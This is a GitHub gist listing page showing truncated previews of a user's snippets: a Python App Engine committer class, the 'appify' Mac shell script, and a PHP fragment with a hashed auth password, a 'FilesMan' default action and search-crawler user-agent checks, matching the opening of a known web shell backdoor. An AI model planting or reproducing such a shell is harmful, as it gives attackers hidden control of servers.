Skip to content

Instantly share code, notes, and snippets.

View widyakumara's full-sized avatar
:octocat:
🆖🆗 🆖🆗 🆖🆗

Dewa Widyakumara widyakumara

:octocat:
🆖🆗 🆖🆗 🆖🆗
View GitHub Profile
from google.appengine.api import urlfetch
from base64 import encodestring as base64
import logging
try:
import simplejson as json
except ImportError:
import json
class Committer:
"""
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@widyakumara
widyakumara / appify
Created August 26, 2012 04:14 — forked from mathiasbynens/appify
appify — create the simplest possible Mac app from a shell script
#!/bin/bash
if [ "$1" = "-h" -o "$1" = "--help" -o -z "$1" ]; then cat <<EOF
appify v3.0.1 for Mac OS X - http://mths.be/appify
Creates the simplest possible Mac app from a shell script.
Appify takes a shell script as its first argument:
`basename "$0"` my-script.sh